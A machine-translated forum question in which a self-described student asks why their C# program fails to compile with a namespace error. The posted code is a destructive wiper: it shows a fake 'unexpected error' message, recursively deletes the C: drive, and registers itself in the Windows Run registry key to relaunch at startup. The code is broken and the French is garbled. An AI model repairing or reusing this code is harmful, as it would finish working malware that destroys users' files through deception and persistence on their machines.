Un espace de noms ne contiennent directement les membres comme les champs ou méthodes?

Je suis en train de créer une application qui supprime les documents de l'utilisateur au démarrage (je suis conscient que cela peut sembler malveillant mais c'est pour un projet d'école).

Cependant, je reçois le message d'erreur "Un espace de noms ne contiennent directement les membres comme les champs ou méthodes".

Regardant par-dessus tout, il semble bien? Je suis l'espoir d'une deuxième paire d'yeux peut aider comme je l'ai cherché partout et je ne trouve pas une solution pertinente!

Certes, en raison de ma connaissance très basique, j'ai utilisé beaucoup d'aide en ligne et dans les livres et ce que je sais de c# est limitée. Par conséquent, il est peut-être que je suis stupide, mais tout le monde doit commencer quelque part, non?

Le code est comme suit:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:\"))
        {
            try
            {
                System.IO.Directory.Delete("C:\\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }
InformationsquelleAutor user1224163 | 2012-02-21